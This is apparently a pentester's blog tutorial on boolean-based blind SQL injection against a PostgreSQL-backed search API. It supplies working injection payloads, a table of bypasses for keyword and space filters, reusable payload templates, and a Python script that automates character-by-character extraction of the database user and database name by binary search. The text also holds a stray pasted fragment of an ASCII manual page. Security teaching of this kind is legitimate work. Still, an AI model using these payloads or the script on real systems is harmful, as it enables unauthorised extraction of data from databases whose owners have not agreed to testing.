Introduction
Hi guys, today I will teach you how to exploit Boolean-based Blind SQL Injection. This is a technique I recently used on a penetration test to extract database usernames without any direct output from the application.
This one is a bit tricky because you are essentially flying blind. The app does not show you query results, error messages, or anything useful. All you get is a subtle difference in the response: data or no data. But that tiny difference? That is all you need.
Let’s dive in.
What is Boolean-based Blind SQLi?
In a typical SQL injection, you might see query results directly on the page. Usernames, emails, password hashes dumped right onto your screen. Easy stuff.
But in blind injection, you get nothing. The application does not display query output. Instead, you have to infer information based on how the application behaves:
- Boolean-based: Different responses for true vs false conditions
- Time-based: Response delays when conditions are true
Today we are focusing on boolean-based, where the app gives us different content depending on whether our injected condition is true or false.
The Scenario
I was testing a search endpoint that returned JSON data. Normal request and response looked like this:
GET /api/products?search=test HTTP/1.1
Host: target.com
HTTP/1.1 200 OK
Content-Type: application/json
{
"status": "OK",
"message": "Success.",
"results": [
{"id": 1, "name": "Wireless Mouse", "price": 29.99, "category": "Electronics"},
{"id": 2, "name": "USB Keyboard", "price": 49.99, "category": "Electronics"}
]
}
When I threw a single quote at it:
GET /api/products?search=' HTTP/1.1
Host: target.com
HTTP/1.1 500 Internal Server Error
Content-Type: application/json
{
"status": "INTERNAL_SERVER_ERROR",
"message": "Internal Server Error"
}
But with two quotes, back to normal with empty results:
GET /api/products?search='' HTTP/1.1
Host: target.com
HTTP/1.1 200 OK
Content-Type: application/json
{
"status": "OK",
"message": "Success.",
"results": []
}
This is a classic injection indicator. The single quote breaks the SQL syntax, the double quote escapes properly.
Finding the Right Payload
Here is where it got interesting. I tried the usual payloads:
' OR '1'='1
' AND '1'='1
' UNION SELECT NULL--
All errors. Something was filtering my input.
After a lot of trial and error, I found that string concatenation worked:
'||(SELECT+1)||'
This returned actual data! The + signs replace spaces (URL encoding), and the || is PostgreSQL’s concatenation operator.
But here is the catch. I could not use FROM. Any payload with FROM got blocked:
'||(SELECT+1+FROM+pg_user)||' -- Blocked
FROM keyword entirely. This rules out SELECT ... FROM pg_user, information_schema, and similar table-based queries. Stick to built-in functions like current_user, current_database(), and version() which do not need a FROM clause.The Boolean Logic
I discovered that the injected value controlled how many results came back – probably a LIMIT or similar. So:
'||(SELECT+1)||' -- Returns data
'||(SELECT+0)||' -- Returns empty
'||(SELECT+10)||' -- Returns data (max was 10)
If my injected value equals 1 or more, I get data. If it equals 0, I get nothing. This gives us a true/false oracle we can use to extract information.
The Extraction Technique
Since I could not use comparison operators like > or < directly, I had to get creative. PostgreSQL integer division gave me what I needed.
100 / 100 = 1 -- returns data
100 / 101 = 0 -- returns empty
100 / 50 = 2 -- returns data
When you divide a number by something smaller or equal, you get 1 or more. When you divide by something larger, you get 0 — integer division truncates the decimal.
So the payload becomes:
'||(SELECT+1*(ASCII(SUBSTRING(current_user,1,1))/97))||'
Breaking this down:
SUBSTRING(current_user,1,1)gets the first character of the usernameASCII(...)converts it to its ASCII number/97divides by 97 (lowercasea)1*(...)multiplies so the result becomes our injected value
If the first character’s ASCII value is 97 or higher, we get data. If lower than 97, we get empty. This is basically asking: “Is this character >= ‘a’?”
Binary Search: Finding Characters Efficiently
Instead of brute-forcing every ASCII value from 32 to 126, binary search cuts the range in half each time. Here is the full walkthrough for extracting the first character of current_user:
Step 1: Is it lowercase? (>= 97)
'||(SELECT+1*(ASCII(SUBSTRING(current_user,1,1))/97))||'
Result: Data returned. Character is 97 or higher — lowercase range.
Step 2: Upper half of lowercase? (>= 110, 'n')
'||(SELECT+1*(ASCII(SUBSTRING(current_user,1,1))/110))||'
Result: Empty. Character is between 97–109 (a through m).
Step 3: Is it >= 103 ('g')?
'||(SELECT+1*(ASCII(SUBSTRING(current_user,1,1))/103))||'
Result: Empty. Character is between 97–102 (a through f).
Step 4: Is it >= 100 ('d')?
'||(SELECT+1*(ASCII(SUBSTRING(current_user,1,1))/100))||'
Result: Empty. Character is between 97–99 (a, b, or c).
Step 5: Is it >= 98 ('b')?
'||(SELECT+1*(ASCII(SUBSTRING(current_user,1,1))/98))||'
Result: Empty. Only value left is 97 — that is 'a'.
5 requests to find one character. Brute forcing would have taken up to 26 for just lowercase letters.
Extracting the Full Username
Repeating this process for each character position:
| Position | ASCII | Char |
|---|---|---|
| 1 | 97 | a |
| 2 | 100 | d |
| 3 | 109 | m |
| 4 | 105 | i |
| 5 | 110 | n |
| 6 | — | (empty, end of string) |
The database username was admin.
ASCII Reference
man ascii
ascii(7) Miscellaneous Information Manual ascii(7)
NAME
ascii - ASCII character set encoded in octal, decimal, and hexadecimal
DESCRIPTION
ASCII is the American Standard Code for Information Interchange. It is a 7-bit
code. Many 8-bit codes (e.g., ISO/IEC 8859-1) contain ASCII as their lower half.
The international counterpart of ASCII is known as ISO/IEC 646-IRV.
The following table contains the 128 ASCII characters.
C program '\X' escapes are noted.
Oct Dec Hex Char Oct Dec Hex Char
────────────────────────────────────────────────────────────────────────
000 0 00 NUL '\0' (null character) 100 64 40 @
001 1 01 SOH (start of heading) 101 65 41 A
002 2 02 STX (start of text) 102 66 42 B
003 3 03 ETX (end of text) 103 67 43 C
004 4 04 EOT (end of transmission) 104 68 44 D
005 5 05 ENQ (enquiry) 105 69 45 E
006 6 06 ACK (acknowledge) 106 70 46 F
007 7 07 BEL '\a' (bell) 107 71 47 G
010 8 08 BS '\b' (backspace) 110 72 48 H
011 9 09 HT '\t' (horizontal tab) 111 73 49 I
012 10 0A LF '\n' (new line) 112 74 4A J
013 11 0B VT '\v' (vertical tab) 113 75 4B K
014 12 0C FF '\f' (form feed) 114 76 4C L
015 13 0D CR '\r' (carriage ret) 115 77 4D M
016 14 0E SO (shift out) 116 78 4E N
017 15 0F SI (shift in) 117 79 4F O
020 16 10 DLE (data link escape) 120 80 50 P
021 17 11 DC1 (device control 1) 121 81 51 Q
022 18 12 DC2 (device control 2) 122 82 52 R
Manual page ascii(7) line 1 (press h for help or q to quit)
Detecting Character Type
Before binary searching, nail down what range you are dealing with first:
-- Test 1: Is it lowercase? (>= 97)
/97 -> Data = lowercase or symbol above 97
/97 -> Empty = uppercase, number, or low symbol
-- Test 2: If not lowercase, is it uppercase? (>= 65)
/65 -> Data = uppercase (65-90) or higher
/65 -> Empty = number or symbol below 65
-- Test 3: If not uppercase, is it a number? (>= 48)
/48 -> Data = number (48-57)
/48 -> Empty = symbol below 48
Checking if a Character Exists
Before extracting each position, check if there is actually a character there:
'||(SELECT+1*(ASCII(SUBSTRING(current_user,6,1))/1))||'
Dividing by 1 means any character (ASCII 1 or higher) returns data. Empty response means you have hit the end of the string.
Filter Bypasses I Used
Here is what was blocked during this engagement and how I worked around each one.
| Filter | Bypass |
|---|---|
FROM keyword |
Use current_user, current_database(), version() – no FROM needed |
| Spaces | URL-encode as + |
Dollar quoting $$ |
Avoided string literals entirely, stuck to functions |
CASE WHEN |
Used multiplication and division for boolean logic instead |
Payload Templates
Check if character exists at position N:
'||(SELECT+1*(ASCII(SUBSTRING(current_user,N,1))/1))||'
Extract character at position N (test against threshold):
'||(SELECT+1*(ASCII(SUBSTRING(current_user,N,1))/THRESHOLD))||'
For current_database():
'||(SELECT+1*(ASCII(SUBSTRING(current_database(),N,1))/THRESHOLD))||'
Automating the Process
Doing this manually works but gets tedious. Here is a Python script that handles the full extraction:
import requests
def check(position, threshold, target="current_user"):
payload = f"'||(SELECT+1*(ASCII(SUBSTRING({target},{position},1))/{threshold}))||'"
response = requests.get(f"{url}?search={payload}")
return len(response.json().get('results', [])) > 0
def extract_char(position):
# Check if character exists
if not check(position, 1):
return None
# Binary search
low, high = 32, 126
while low < high:
mid = (low + high + 1) // 2
if check(position, mid):
low = mid
else:
high = mid - 1
return chr(low)
def extract_string(target="current_user"):
result = ""
pos = 1
while True:
char = extract_char(pos)
if char is None:
break
result += char
print(f"[+] Position {pos}: {char} (Current: {result})")
pos += 1
return result
# Usage
url = "https://target.com/api/products"
username = extract_string("current_user")
print(f"[+] Extracted: {username}")
Key Takeaways
- Boolean-based blind SQLi relies on true/false responses, not direct output
- Integer division can replace comparison operators when they are filtered
- Binary search reduces requests from potentially 94 (printable ASCII) to about 7 per character
- Always check if a character exists before trying to extract it
- Built-in functions like
current_userdo not need FROM clauses
Conclusion
Boolean-based blind SQL injection takes patience and creativity, especially when dealing with filters. The key is finding what syntax the application accepts and building your boolean logic around it.
In this case, the division trick turned a seemingly unexploitable injection into full data extraction. The FROM keyword being blocked seemed like a dead end until I realized PostgreSQL functions could give me what I needed without it.
Hope this helps you on your next engagement.
Happy hacking!